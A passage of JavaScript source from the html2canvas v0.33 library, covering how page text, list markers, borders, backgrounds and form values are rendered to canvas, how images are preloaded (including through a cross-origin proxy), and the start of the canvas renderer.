text = trimText(textNode.nodeValue);

if (text.length>0){

if (text_decoration !== "none"){
metrics = fontMetrics(family, size);
}

text_align = text_align.replace(["-webkit-auto"],["auto"]);

if (options.letterRendering === false && /^(left|right|justify|auto)$/.test(text_align) && /^(normal|none)$/.test(letter_spacing)){
// this.setContextVariable(ctx,"textAlign",text_align);
renderList = textNode.nodeValue.split(/(\b| )/);

}else{
// this.setContextVariable(ctx,"textAlign","left");
renderList = textNode.nodeValue.split("");
}

switch(parseInt(bold, 10)){
case 401:
bold = "bold";
break;
case 400:
bold = "normal";
break;
}

ctx.setVariable("fillStyle", color);

/*
need to be defined in the order as defined in http://www.w3.org/TR/CSS21/fonts.html#font-shorthand
to properly work in Firefox
*/
ctx.setVariable("font", font_style+ " " + font_variant + " " + bold + " " + size + " " + family);

if (align){
ctx.setVariable("textAlign", "right");
}else{
ctx.setVariable("textAlign", "left");
}


/*
if (stack.clip){
ctx.rect (stack.clip.left, stack.clip.top, stack.clip.width, stack.clip.height);
ctx.clip();
}
*/


oldTextNode = textNode;


for (c=0; c < renderList.length; c+=1) {
textValue = null;



if (support.rangeBounds){
// getBoundingClientRect is supported for ranges
if (text_decoration !== "none" || trimText(renderList[c]).length !== 0) {
textValue = renderList[c];
if (doc.createRange){
range = doc.createRange();

range.setStart(textNode, textOffset);
range.setEnd(textNode, textOffset + textValue.length);
}else{
// TODO add IE support
range = body.createTextRange();
}

if (range.getBoundingClientRect()) {
bounds = range.getBoundingClientRect();
}else{
bounds = {};
}

}
}else{
// it isn't supported, so let's wrap it inside an element instead and get the bounds there

// IE 9 bug
if (typeof oldTextNode.nodeValue !== "string" ){
continue;
}

newTextNode = oldTextNode.splitText(renderList[c].length);

parent = oldTextNode.parentNode;
wrapElement = doc.createElement('wrapper');
backupText = oldTextNode.cloneNode(true);

wrapElement.appendChild(oldTextNode.cloneNode(true));
parent.replaceChild(wrapElement, oldTextNode);

bounds = html2canvas.Util.Bounds(wrapElement);

textValue = oldTextNode.nodeValue;

oldTextNode = newTextNode;
parent.replaceChild(backupText, wrapElement);


}

if (textValue !== null){
drawText(textValue, bounds.left, bounds.bottom, ctx);
}

switch(text_decoration) {
case "underline":
// Draws a line at the baseline of the font
// TODO As some browsers display the line as more than 1px if the font-size is big, need to take that into account both in position and size
renderRect(ctx, bounds.left, Math.round(bounds.top + metrics.baseline + metrics.lineWidth), bounds.width, 1, color);
break;
case "overline":
renderRect(ctx, bounds.left, bounds.top, bounds.width, 1, color);
break;
case "line-through":
// TODO try and find exact position for line-through
renderRect(ctx, bounds.left, Math.ceil(bounds.top + metrics.middle + metrics.lineWidth), bounds.width, 1, color);
break;

}





textOffset += renderList[c].length;

}



}

}

function listPosition (element, val) {
var boundElement = doc.createElement( "boundelement" ),
type,
bounds;

boundElement.style.display = "inline";
//boundElement.style.width = "1px";
//boundElement.style.height = "1px";

type = element.style.listStyleType;
element.style.listStyleType = "none";

boundElement.appendChild( doc.createTextNode( val ) );


element.insertBefore(boundElement, element.firstChild);


bounds = html2canvas.Util.Bounds( boundElement );
element.removeChild( boundElement );
element.style.listStyleType = type;
return bounds;

}


function renderListItem(element, stack, elBounds) {


var position = getCSS(element, "listStylePosition"),
x,
y,
type = getCSS(element, "listStyleType"),
currentIndex,
text,
listBounds,
bold = getCSS(element, "fontWeight");

if (/^(decimal|decimal-leading-zero|upper-alpha|upper-latin|upper-roman|lower-alpha|lower-greek|lower-latin|lower-roman)$/i.test(type)) {

// TODO remove jQuery dependency
currentIndex = $(element).index()+1;

switch(type){
case "decimal":
text = currentIndex;
break;
case "decimal-leading-zero":
if (currentIndex.toString().length === 1){
text = currentIndex = "0" + currentIndex.toString();
}else{
text = currentIndex.toString();
}
break;
case "upper-roman":
text = html2canvas.Generate.ListRoman( currentIndex );
break;
case "lower-roman":
text = html2canvas.Generate.ListRoman( currentIndex ).toLowerCase();
break;
case "lower-alpha":
text = html2canvas.Generate.ListAlpha( currentIndex ).toLowerCase();
break;
case "upper-alpha":
text = html2canvas.Generate.ListAlpha( currentIndex );
break;
}


text += ". ";
listBounds = listPosition(element, text);



switch(bold){
case 401:
bold = "bold";
break;
case 400:
bold = "normal";
break;
}




ctx.setVariable( "fillStyle", getCSS(element, "color") );
ctx.setVariable( "font", getCSS(element, "fontVariant") + " " + bold + " " + getCSS(element, "fontStyle") + " " + getCSS(element, "fontSize") + " " + getCSS(element, "fontFamily") );


if ( position === "inside" ) {
ctx.setVariable("textAlign", "left");
// this.setFont(stack.ctx, element, false);
x = elBounds.left;

}else{
return;
/*
TODO really need to figure out some more accurate way to try and find the position.
as defined in http://www.w3.org/TR/CSS21/generate.html#propdef-list-style-position, it does not even have a specified "correct" position, so each browser
may display it whatever way it feels like.
"The position of the list-item marker adjacent to floats is undefined in CSS 2.1. CSS 2.1 does not specify the precise location of the marker box or its position in the painting order"
*/
ctx.setVariable("textAlign", "right");
// this.setFont(stack.ctx, element, true);
x = elBounds.left - 10;
}

y = listBounds.bottom;

drawText(text, x, y, ctx)


}


}

function loadImage (src){
var img = images[src];
if (img && img.succeeded === true) {
return img.img;
} else {
return false;
}
}






function clipBounds(src, dst){

var x = Math.max(src.left, dst.left),
y = Math.max(src.top, dst.top),
x2 = Math.min((src.left + src.width), (dst.left + dst.width)),
y2 = Math.min((src.top + src.height), (dst.top + dst.height));

return {
left:x,
top:y,
width:x2-x,
height:y2-y
};

}

function setZ(zIndex, parentZ){
// TODO fix static elements overlapping relative/absolute elements under same stack, if they are defined after them

if (!parentZ){
this.zStack = h2czContext(0);
return this.zStack;
}

if (zIndex !== "auto"){
needReorder = true;
var newContext = h2czContext(zIndex);
parentZ.children.push(newContext);
return newContext;

}

return parentZ;

}

function renderBorders(el, ctx, bounds, clip){

/*
* TODO add support for different border-style's than solid
*/

var x = bounds.left,
y = bounds.top,
w = bounds.width,
h = bounds.height,
borderSide,
borderData,
bx,
by,
bw,
bh,
borderBounds,
borders = (function(el){
var borders = [],
sides = ["Top","Right","Bottom","Left"],
s;

for (s = 0; s < 4; s+=1){
borders.push({
width: getCSSInt(el, 'border' + sides[s] + 'Width'),
color: getCSS(el, 'border' + sides[s] + 'Color')
});
}

return borders;

}(el));


for (borderSide = 0; borderSide < 4; borderSide+=1){
borderData = borders[borderSide];

if (borderData.width>0){
bx = x;
by = y;
bw = w;
bh = h - (borders[2].width);

switch(borderSide){
case 0:
// top border
bh = borders[0].width;
break;
case 1:
// right border
bx = x + w - (borders[1].width);
bw = borders[1].width;
break;
case 2:
// bottom border
by = (by + h) - (borders[2].width);
bh = borders[2].width;
break;
case 3:
// left border
bw = borders[3].width;
break;
}

borderBounds = {
left:bx,
top:by,
width: bw,
height:bh
};

if (clip){
borderBounds = clipBounds(borderBounds, clip);
}


if (borderBounds.width>0 && borderBounds.height>0){
renderRect(ctx, bx, by, borderBounds.width, borderBounds.height, borderData.color);
}


}
}

return borders;

}


function renderFormValue (el, bounds, stack){

var valueWrap = doc.createElement('valuewrap'),
cssArr = ['lineHeight','textAlign','fontFamily','color','fontSize','paddingLeft','paddingTop','width','height','border','borderLeftWidth','borderTopWidth'],
i,
textValue,
textNode,
arrLen,
style;

for (i = 0, arrLen = cssArr.length; i < arrLen; i+=1){
style = cssArr[i];

try {
valueWrap.style[style] = getCSS(el, style);
} catch( e ) {
// Older IE has issues with "border"
h2clog("html2canvas: Parse: Exception caught in renderFormValue: " + e.message);
}
}


valueWrap.style.borderColor = "black";
valueWrap.style.borderStyle = "solid";
valueWrap.style.display = "block";
valueWrap.style.position = "absolute";
if (/^(submit|reset|button|text|password)$/.test(el.type) || el.nodeName === "SELECT"){
valueWrap.style.lineHeight = getCSS(el, "height");
}


valueWrap.style.top = bounds.top + "px";
valueWrap.style.left = bounds.left + "px";

if (el.nodeName === "SELECT"){
// TODO increase accuracy of text position
textValue = el.options[el.selectedIndex].text;
} else{
textValue = el.value;
}
textNode = doc.createTextNode(textValue);

valueWrap.appendChild(textNode);
body.appendChild(valueWrap);


renderText(el, textNode, stack);
body.removeChild(valueWrap);



}



function getBackgroundPosition(el, bounds, image){
// TODO add support for multi image backgrounds

var bgposition = (function( bgp ){

if (bgp !== undefined) {
return (bgp.split(",")[0] || "0 0").split(" ");
} else {
// Older IE uses -x and -y
return [ getCSS(el, "backgroundPositionX"), getCSS(el, "backgroundPositionY") ];
}


})( getCSS(el, "backgroundPosition") ),
topPos,
left,
percentage,
val;

if (bgposition.length === 1){
val = bgposition;

bgposition = [];

bgposition[0] = val;
bgposition[1] = val;
}



if (bgposition[0].toString().indexOf("%") !== -1){
percentage = (parseFloat(bgposition[0])/100);
left = ((bounds.width * percentage)-(image.width*percentage));

}else{
left = parseInt(bgposition[0],10);
}

if (bgposition[1].toString().indexOf("%") !== -1){

percentage = (parseFloat(bgposition[1])/100);
topPos = ((bounds.height * percentage)-(image.height*percentage));
}else{
topPos = parseInt(bgposition[1],10);
}




return {
top: topPos,
left: left
};

}

function renderImage (ctx, image, sx, sy, sw, sh, dx, dy, dw, dh) {
ctx.drawImage(
image,
sx, //sx
sy, //sy
sw, //sw
sh, //sh
dx, //dx
dy, // dy
dw, //dw
dh //dh
);
numDraws+=1;

}


function renderBackgroundRepeat (ctx, image, x, y, width, height, elx, ely){
var sourceX = 0,
sourceY=0;
if (elx-x>0){
sourceX = elx-x;
}

if (ely-y>0){
sourceY = ely-y;
}

renderImage(
ctx,
image,
sourceX, // source X
sourceY, // source Y
width-sourceX, // source Width
height-sourceY, // source Height
x+sourceX, // destination X
y+sourceY, // destination Y
width-sourceX, // destination width
height-sourceY // destination height
);
}


function renderBackgroundRepeatY (ctx, image, bgp, x, y, w, h){

var height,
width = Math.min(image.width,w),bgy;

bgp.top = bgp.top-Math.ceil(bgp.top/image.height)*image.height;


for(bgy=(y+bgp.top);bgy<h+y;){


if ( Math.floor(bgy+image.height)>h+y){
height = (h+y)-bgy;
}else{
height = image.height;
}
renderBackgroundRepeat(ctx,image,x+bgp.left,bgy,width,height,x,y);

bgy = Math.floor(bgy+image.height);

}
}

function renderBackgroundRepeatX(ctx, image, bgp, x, y, w, h){

var height = Math.min(image.height,h),
width,bgx;


bgp.left = bgp.left-Math.ceil(bgp.left/image.width)*image.width;


for (bgx=(x+bgp.left);bgx<w+x;) {

if (Math.floor(bgx+image.width)>w+x){
width = (w+x)-bgx;
}else{
width = image.width;
}

renderBackgroundRepeat(ctx,image,bgx,(y+bgp.top),width,height,x,y);

bgx = Math.floor(bgx+image.width);


}
}

function renderBackground(el,bounds,ctx){

// TODO add support for multi background-images
var background_image = getCSS(el, "backgroundImage"),
background_repeat = getCSS(el, "backgroundRepeat").split(",")[0],
image,
bgp,
bgy,
bgw,
bgsx,
bgsy,
bgdx,
bgdy,
bgh,
h,
height,
add;

// if (typeof background_image !== "undefined" && /^(1|none)$/.test(background_image) === false && /^(-webkit|-moz|linear-gradient|-o-)/.test(background_image)===false){

if ( !/data:image\/.*;base64,/i.test(background_image) && !/^(-webkit|-moz|linear-gradient|-o-)/.test(background_image) ) {
background_image = background_image.split(",")[0];
}

if ( typeof background_image !== "undefined" && /^(1|none)$/.test( background_image ) === false ) {
background_image = html2canvas.Util.backgroundImage( background_image );
image = loadImage( background_image );


bgp = getBackgroundPosition(el, bounds, image);


if ( image ){
switch ( background_repeat ) {

case "repeat-x":
renderBackgroundRepeatX( ctx, image, bgp, bounds.left, bounds.top, bounds.width, bounds.height );
break;

case "repeat-y":
renderBackgroundRepeatY( ctx, image, bgp, bounds.left, bounds.top, bounds.width, bounds.height );
break;

case "no-repeat":
/*
this.drawBackgroundRepeat(
ctx,
image,
bgp.left+bounds.left, // sx
bgp.top+bounds.top, // sy
Math.min(bounds.width,image.width),
Math.min(bounds.height,image.height),
bounds.left,
bounds.top
);*/


// console.log($(el).css('background-image'));
bgw = bounds.width - bgp.left;
bgh = bounds.height - bgp.top;
bgsx = bgp.left;
bgsy = bgp.top;
bgdx = bgp.left+bounds.left;
bgdy = bgp.top+bounds.top;

//
// bgw = Math.min(bgw,image.width);
// bgh = Math.min(bgh,image.height);

if (bgsx<0){
bgsx = Math.abs(bgsx);
bgdx += bgsx;
bgw = Math.min(bounds.width,image.width-bgsx);
}else{
bgw = Math.min(bgw,image.width);
bgsx = 0;
}

if (bgsy<0){
bgsy = Math.abs(bgsy);
bgdy += bgsy;
// bgh = bgh-bgsy;
bgh = Math.min(bounds.height,image.height-bgsy);
}else{
bgh = Math.min(bgh,image.height);
bgsy = 0;
}


// bgh = Math.abs(bgh);
// bgw = Math.abs(bgw);
if (bgh>0 && bgw > 0){
renderImage(
ctx,
image,
bgsx, // source X : 0
bgsy, // source Y : 1695
bgw, // source Width : 18
bgh, // source Height : 1677
bgdx, // destination X :906
bgdy, // destination Y : 1020
bgw, // destination width : 18
bgh // destination height : 1677
);

// ctx.drawImage(image,(bounds.left+bgp.left),(bounds.top+bgp.top));

}
break;
default:



bgp.top = bgp.top-Math.ceil(bgp.top/image.height)*image.height;


for(bgy=(bounds.top+bgp.top);bgy<bounds.height+bounds.top;){



h = Math.min(image.height,(bounds.height+bounds.top)-bgy);


if ( Math.floor(bgy+image.height)>h+bgy){
height = (h+bgy)-bgy;
}else{
height = image.height;
}
// console.log(height);

if (bgy<bounds.top){
add = bounds.top-bgy;
bgy = bounds.top;

}else{
add = 0;
}

renderBackgroundRepeatX(ctx,image,bgp,bounds.left,bgy,bounds.width,height);
if (add>0){
bgp.top += add;
}
bgy = Math.floor(bgy+image.height)-add;
}
break;


}
}else{
h2clog("html2canvas: Error loading background:" + background_image);
//console.log(images);
}

}
}



function renderElement(el, parentStack){

var bounds = html2canvas.Util.Bounds(el),
x = bounds.left,
y = bounds.top,
w = bounds.width,
h = bounds.height,
image,
bgcolor = getCSS(el, "backgroundColor"),
cssPosition = getCSS(el, "position"),
zindex,
opacity = getCSS(el, "opacity"),
stack,
stackLength,
borders,
ctx,
bgbounds,
imgSrc,
paddingLeft,
paddingTop,
paddingRight,
paddingBottom;

if (!parentStack){
docDim = docSize();
parentStack = {
opacity: 1
};
}else{
docDim = {};
}


//var zindex = this.formatZ(this.getCSS(el,"zIndex"),cssPosition,parentStack.zIndex,el.parentNode);

zindex = setZ( getCSS( el, "zIndex"), parentStack.zIndex );



stack = {
ctx: h2cRenderContext( docDim.width || w , docDim.height || h ),
zIndex: zindex,
opacity: opacity * parentStack.opacity,
cssPosition: cssPosition
};



// TODO correct overflow for absolute content residing under a static position

if (parentStack.clip){
stack.clip = html2canvas.Util.Extend( {}, parentStack.clip );
//stack.clip = parentStack.clip;
// stack.clip.height = stack.clip.height - parentStack.borders[2].width;
}


if ( options.useOverflow === true && /(hidden|scroll|auto)/.test(getCSS(el, "overflow")) === true && /(BODY)/i.test(el.nodeName) === false ){
if (stack.clip){
stack.clip = clipBounds(stack.clip, bounds);
}else{
stack.clip = bounds;
}
}


stackLength = zindex.children.push(stack);

ctx = zindex.children[stackLength-1].ctx;

ctx.setVariable("globalAlpha", stack.opacity);

// draw element borders
borders = renderBorders(el, ctx, bounds, false);
stack.borders = borders;


// let's modify clip area for child elements, so borders dont get overwritten

/*
if (stack.clip){
stack.clip.width = stack.clip.width-(borders[1].width);
stack.clip.height = stack.clip.height-(borders[2].width);
}
*/
if (ignoreElementsRegExp.test(el.nodeName) && options.iframeDefault !== "transparent"){
if (options.iframeDefault === "default"){
bgcolor = "#efefef";
}else{
bgcolor = options.iframeDefault;
}
}

// draw base element bgcolor

bgbounds = {
left: x + borders[3].width,
top: y + borders[0].width,
width: w - (borders[1].width + borders[3].width),
height: h - (borders[0].width + borders[2].width)
};

//if (this.withinBounds(stack.clip,bgbounds)){

if (stack.clip){
bgbounds = clipBounds(bgbounds, stack.clip);

//}

}


if (bgbounds.height > 0 && bgbounds.width > 0){
renderRect(
ctx,
bgbounds.left,
bgbounds.top,
bgbounds.width,
bgbounds.height,
bgcolor
);

renderBackground(el, bgbounds, ctx);
}

switch(el.nodeName){
case "IMG":
imgSrc = el.getAttribute('src');
image = loadImage(imgSrc);
if (image){

paddingLeft = getCSSInt(el, 'paddingLeft');
paddingTop = getCSSInt(el, 'paddingTop');
paddingRight = getCSSInt(el, 'paddingRight');
paddingBottom = getCSSInt(el, 'paddingBottom');


renderImage(
ctx,
image,
0, //sx
0, //sy
image.width, //sw
image.height, //sh
x + paddingLeft + borders[3].width, //dx
y + paddingTop + borders[0].width, // dy
bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw
bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh
);

}else{
h2clog("html2canvas: Error loading <img>:" + imgSrc);
}
break;
case "INPUT":
// TODO add all relevant type's, i.e. HTML5 new stuff
// todo add support for placeholder attribute for browsers which support it
if (/^(text|url|email|submit|button|reset)$/.test(el.type) && el.value.length > 0){

renderFormValue(el, bounds, stack);


/*
this just doesn't work well enough

this.newText(el,{
nodeValue:el.value,
splitText: function(){
return this;
},
formValue:true
},stack);
*/
}
break;
case "TEXTAREA":
if (el.value.length > 0){
renderFormValue(el, bounds, stack);
}
break;
case "SELECT":
if (el.options.length > 0){
renderFormValue(el, bounds, stack);
}
break;
case "LI":
renderListItem(el, stack, bgbounds);
break;
case "CANVAS":
paddingLeft = getCSSInt(el, 'paddingLeft');
paddingTop = getCSSInt(el, 'paddingTop');
paddingRight = getCSSInt(el, 'paddingRight');
paddingBottom = getCSSInt(el, 'paddingBottom');
renderImage(
ctx,
el,
0, //sx
0, //sy
el.width, //sw
el.height, //sh
x + paddingLeft + borders[3].width, //dx
y + paddingTop + borders[0].width, // dy
bounds.width - (borders[1].width + borders[3].width + paddingLeft + paddingRight), //dw
bounds.height - (borders[0].width + borders[2].width + paddingTop + paddingBottom) //dh
);
break;
}

return zindex.children[stackLength - 1];
}



function parseElement (el, stack) {

// skip hidden elements and their children
if (getCSS(el, 'display') !== "none" && getCSS(el, 'visibility') !== "hidden") {

stack = renderElement(el, stack) || stack;

ctx = stack.ctx;

if ( !ignoreElementsRegExp.test( el.nodeName ) ) {
var elementChildren = html2canvas.Util.Children( el ),
i,
node,
childrenLen;
for (i = 0, childrenLen = elementChildren.length; i < childrenLen; i+=1) {
node = elementChildren[i];

if ( node.nodeType === 1 ) {
parseElement(node, stack);
}else if ( node.nodeType === 3 ) {
renderText(el, node, stack);
}

}

}
}
}

stack = renderElement(element, null);

// parse every child element
for (i = 0, children = element.children, childrenLen = children.length; i < childrenLen; i+=1){
parseElement(children[i], stack);
}


stack.backgroundColor = getCSS( body, "backgroundColor" );

return stack;

};

function h2czContext(zindex) {
return {
zindex: zindex,
children: []
};
};

/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License
*/

html2canvas.Preload = function(element, opts){

var options = {
proxy: "http://html2canvas.appspot.com/",
timeout: 0, // no timeout
useCORS: false, // try to load images as CORS (where available), before falling back to proxy
allowTaint: false // whether to allow images to taint the canvas, won't need proxy if set to true
},
images = {
numLoaded: 0, // also failed are counted here
numFailed: 0,
numTotal: 0,
cleanupDone: false
},
pageOrigin,
methods,
i,
count = 0,
doc = element.ownerDocument,
domImages = doc.images, // TODO probably should limit it to images present in the element only
imgLen = domImages.length,
link = doc.createElement("a"),
supportCORS = (function( img ){
return (img.crossOrigin !== undefined);
})(new Image()),
timeoutTimer;

link.href = window.location.href;
pageOrigin = link.protocol + link.host;
opts = opts || {};

options = html2canvas.Util.Extend(opts, options);



element = element || doc.body;

function isSameOrigin(url){
link.href = url;
link.href = link.href; // YES, BELIEVE IT OR NOT, that is required for IE9 - http://jsfiddle.net/niklasvh/2e48b/
var origin = link.protocol + link.host;
return (origin === pageOrigin);
}

function start(){
h2clog("html2canvas: start: images: " + images.numLoaded + " / " + images.numTotal + " (failed: " + images.numFailed + ")");
if (!images.firstRun && images.numLoaded >= images.numTotal){

/*
this.log('Finished loading '+this.imagesLoaded+' images, Started parsing');
this.bodyOverflow = document.getElementsByTagName('body')[0].style.overflow;
document.getElementsByTagName('body')[0].style.overflow = "hidden";
*/
if (typeof options.complete === "function"){
options.complete(images);
}

h2clog("Finished loading images: # " + images.numTotal + " (failed: " + images.numFailed + ")");
}
}

// TODO modify proxy to serve images with CORS enabled, where available
function proxyGetImage(url, img, imageObj){
var callback_name,
scriptUrl = options.proxy,
script;

link.href = url;
url = link.href; // work around for pages with base href="" set - WARNING: this may change the url

callback_name = 'html2canvas_' + (count++);
imageObj.callbackname = callback_name;

if (scriptUrl.indexOf("?") > -1) {
scriptUrl += "&";
} else {
scriptUrl += "?";
}
scriptUrl += 'url=' + encodeURIComponent(url) + '&callback=' + callback_name;
script = doc.createElement("script");

window[callback_name] = function(a){
if (a.substring(0,6) === "error:"){
imageObj.succeeded = false;
images.numLoaded++;
images.numFailed++;
start();
} else {
setImageLoadHandlers(img, imageObj);
img.src = a;
}
window[callback_name] = undefined; // to work with IE<9 // NOTE: that the undefined callback property-name still exists on the window object (for IE<9)
try {
delete window[callback_name]; // for all browser that support this
} catch(ex) {}
script.parentNode.removeChild(script);
script = null;
delete imageObj.script;
delete imageObj.callbackname;
};

script.setAttribute("type", "text/javascript");
script.setAttribute("src", scriptUrl);
imageObj.script = script;
window.document.body.appendChild(script);

}

function getImages (el) {



// if (!this.ignoreRe.test(el.nodeName)){
//

var contents = html2canvas.Util.Children(el),
i,
contentsLen = contents.length,
background_image,
src,
img,
elNodeType = false;

for (i = 0; i < contentsLen; i+=1 ){
// var ignRe = new RegExp("("+this.ignoreElements+")");
// if (!ignRe.test(element.nodeName)){
getImages(contents[i]);
// }
}

// }
try {
elNodeType = el.nodeType;
} catch (ex) {
elNodeType = false;
h2clog("html2canvas: failed to access some element's nodeType - Exception: " + ex.message);
}

if (elNodeType === 1 || elNodeType === undefined){

// opera throws exception on external-content.html
try {
background_image = html2canvas.Util.getCSS(el, 'backgroundImage');
}catch(e) {
h2clog("html2canvas: failed to get background-image - Exception: " + e.message);
}
if ( background_image && background_image !== "1" && background_image !== "none" ) {

// TODO add multi image background support

if (background_image.substring(0,7) === "-webkit" || background_image.substring(0,3) === "-o-" || background_image.substring(0,4) === "-moz") {

img = html2canvas.Generate.Gradient( background_image, html2canvas.Util.Bounds( el ) );

if ( img !== undefined ){
images[background_image] = {
img: img,
succeeded: true
};
images.numTotal++;
images.numLoaded++;
start();

}

} else {
src = html2canvas.Util.backgroundImage(background_image.match(/data:image\/.*;base64,/i) ? background_image : background_image.split(",")[0]);
methods.loadImage(src);
}

/*
if (background_image && background_image !== "1" && background_image !== "none" && background_image.substring(0,7) !== "-webkit" && background_image.substring(0,3)!== "-o-" && background_image.substring(0,4) !== "-moz"){
// TODO add multi image background support
src = html2canvas.Util.backgroundImage(background_image.split(",")[0]);
methods.loadImage(src); */
}
}
}

function setImageLoadHandlers(img, imageObj) {
img.onload = function() {
if ( imageObj.timer !== undefined ) {
// CORS succeeded
window.clearTimeout( imageObj.timer );
}
images.numLoaded++;
imageObj.succeeded = true;
start();
};
img.onerror = function() {

if (img.crossOrigin === "anonymous") {
// CORS failed
window.clearTimeout( imageObj.timer );

// let's try with proxy instead
if ( options.proxy ) {
var src = img.src;
img = new Image();
imageObj.img = img;
img.src = src;

proxyGetImage( img.src, img, imageObj );
return;
}
}


images.numLoaded++;
images.numFailed++;
imageObj.succeeded = false;
start();

};
}

// work around for https://bugs.webkit.org/show_bug.cgi?id=80028
function isComplete() {
if (!this.img.complete) {
this.timer = window.setTimeout(this.img.customComplete, 100)
} else {
this.img.onerror();
}
}

methods = {
loadImage: function( src ) {
var img, imageObj;
if ( src && images[src] === undefined ) {
img = new Image();
if ( src.match(/data:image\/.*;base64,/i) ) {
img.src = src.replace(/url\(['"]{0,}|['"]{0,}\)$/ig, '');
imageObj = images[src] = { img: img };
images.numTotal++;
setImageLoadHandlers(img, imageObj);
} else if ( isSameOrigin( src ) || options.allowTaint === true ) {
imageObj = images[src] = { img: img };
images.numTotal++;
setImageLoadHandlers(img, imageObj);
img.src = src;
} else if ( supportCORS && !options.allowTaint && options.useCORS ) {
// attempt to load with CORS

img.crossOrigin = "anonymous";
imageObj = images[src] = { img: img };
images.numTotal++;
setImageLoadHandlers(img, imageObj);
img.src = src;

img.customComplete = isComplete.bind(imageObj);
img.customComplete();

} else if ( options.proxy ) {
imageObj = images[src] = { img: img };
images.numTotal++;
proxyGetImage( src, img, imageObj );
}
}

},
cleanupDOM: function(cause) {
var img, src;
if (!images.cleanupDone) {
if (cause && typeof cause === "string") {
h2clog("html2canvas: Cleanup because: " + cause);
} else {
h2clog("html2canvas: Cleanup after timeout: " + options.timeout + " ms.");
}

for (src in images) {
if (images.hasOwnProperty(src)) {
img = images[src];
if (typeof img === "object" && img.callbackname && img.succeeded === undefined) {
// cancel proxy image request
window[img.callbackname] = undefined; // to work with IE<9 // NOTE: that the undefined callback property-name still exists on the window object (for IE<9)
try {
delete window[img.callbackname]; // for all browser that support this
} catch(ex) {}
if (img.script && img.script.parentNode) {
img.script.setAttribute("src", "about:blank"); // try to cancel running request
img.script.parentNode.removeChild(img.script);
}
images.numLoaded++;
images.numFailed++;
h2clog("html2canvas: Cleaned up failed img: '" + src + "' Steps: " + images.numLoaded + " / " + images.numTotal);
}
}
}

// cancel any pending requests
if(window.stop !== undefined) {
window.stop();
} else if(document.execCommand !== undefined) {
document.execCommand("Stop", false);
}
if (document.close !== undefined) {
document.close();
}
images.cleanupDone = true;
if (!(cause && typeof cause === "string")) {
start();
}
}
},
renderingDone: function() {
if (timeoutTimer) {
window.clearTimeout(timeoutTimer);
}
}

};

if (options.timeout > 0) {
timeoutTimer = window.setTimeout(methods.cleanupDOM, options.timeout);
}
h2clog('html2canvas: Preload starts: finding background-images');
images.firstRun = true;

getImages( element );

h2clog('html2canvas: Preload: Finding images');
// load <img> images
for (i = 0; i < imgLen; i+=1){
methods.loadImage( domImages[i].getAttribute( "src" ) );
}

images.firstRun = false;
h2clog('html2canvas: Preload: Done.');
if ( images.numTotal === images.numLoaded ) {
start();
}

return methods;

};




/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License
*/
function h2cRenderContext(width, height) {
var storage = [];
return {
storage: storage,
width: width,
height: height,
fillRect: function () {
storage.push({
type: "function",
name: "fillRect",
'arguments': arguments
});
},
drawImage: function () {
storage.push({
type: "function",
name: "drawImage",
'arguments': arguments
});
},
fillText: function () {
storage.push({
type: "function",
name: "fillText",
'arguments': arguments
});
},
setVariable: function (variable, value) {
storage.push({
type: "variable",
name: variable,
'arguments': value
});
}
};
}

/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh

Released under MIT License
*/
html2canvas.Renderer = function(parseQueue, opts){


var options = {
"width": null,
"height": null,
"renderer": "canvas",
"taintTest": true // do a taint test with all images before applying to canvas
},
queue = [],
canvas,
usingFlashcanvas = false,
flashMaxSize = 2880, // flash bitmap limited to 2880x2880px // http://stackoverflow.com/questions/2033792/argumenterror-error-2015-invalid-bitmapdata
doc = document;

options = html2canvas.Util.Extend(opts, options);



function sortZ(zStack){
var subStacks = [],
stackValues = [],
zStackChildren = zStack.children,
s,
i,
stackLen,
zValue,
zLen,
stackChild,
b,
subStackLen;


for (s = 0, zLen = zStackChildren.length; s < zLen; s+=1){

stackChild = zStackChildren[s];

if (stackChild.children && stackChild.children.length > 0){
subStacks.push(stackChild);
stackValues.push(stackChild.zindex);
}else{
queue.push(stackChild);
}

}

stackValues.sort(function(a, b) {
return a - b;
});

for (i = 0, stackLen = stackValues.length; i < stackLen; i+=1){
zValue = stackValues[i];
for (b = 0, subStackLen = subStacks.length; b <= subStackLen; b+=1){

if (subStacks[b].zindex === zValue){
stackChild = subStacks.splice(b, 1);
sortZ(stackChild[0]);
break;

}
}
}

}

function canvasRenderer(zStack){

sortZ(zStack.zIndex);


var ctx = canvas.getContext("2d"),
storageContext,
i,
queueLen,
a,
newCanvas,
bounds,
testCanvas = document.createElement("canvas"),
hasCTX = ( testCanvas.getContext !== undefined ),
storageLen,
renderItem,
testctx = ( hasCTX ) ? testCanvas.getContext("2d") : {},
safeImages = [],
fstyle;

canvas.width = canvas.style.width = (!usingFlashcanvas) ? options.width || zStack.ctx.width : Math.min(flashMaxSize, (options.width || zStack.ctx.width) );
canvas.height = canvas.style.height = (!usingFlashcanvas) ? options.height || zStack.ctx.height : Math.min(flashMaxSize, (options.height || zStack.ctx.height) );

fstyle = ctx.fillStyle;
ctx.fillStyle = zStack.backgroundColor;
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = fstyle;

for (i = 0, queueLen = queue.length; i < queueLen; i+=1){

storageContext = queue.splice(0, 1)[0];
storageContext.canvasPosition = storageContext.canvasPosition || {};

//this.canvasRenderContext(storageContext,parentctx);

// set common settings for canvas
ctx.textBaseline = "bottom";

if (storageContext.clip){
ctx.save();
ctx.beginPath();
// console.log(storageContext);
ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height);
ctx.clip();

}

if (storageContext.ctx.storage){

for (a = 0, storageLen = storageContext.ctx.storage.length; a < storageLen; a+=1){

renderItem = storageContext.ctx.storage[a];


switch(renderItem.type){
case "variable":
ctx[renderItem.name] = renderItem['arguments'];
break;
case "function":
if (renderItem.name === "fillRect") {

if (!usingFlashcanvas || renderItem['arguments'][0] + renderItem['arguments'][2] < flashMaxSize && renderItem['arguments'][1] + renderItem['arguments'][3] < flashMaxSize) {
ctx.fillRect.apply( ctx, renderItem['arguments'] );
}
}else if(renderItem.name === "fillText") {
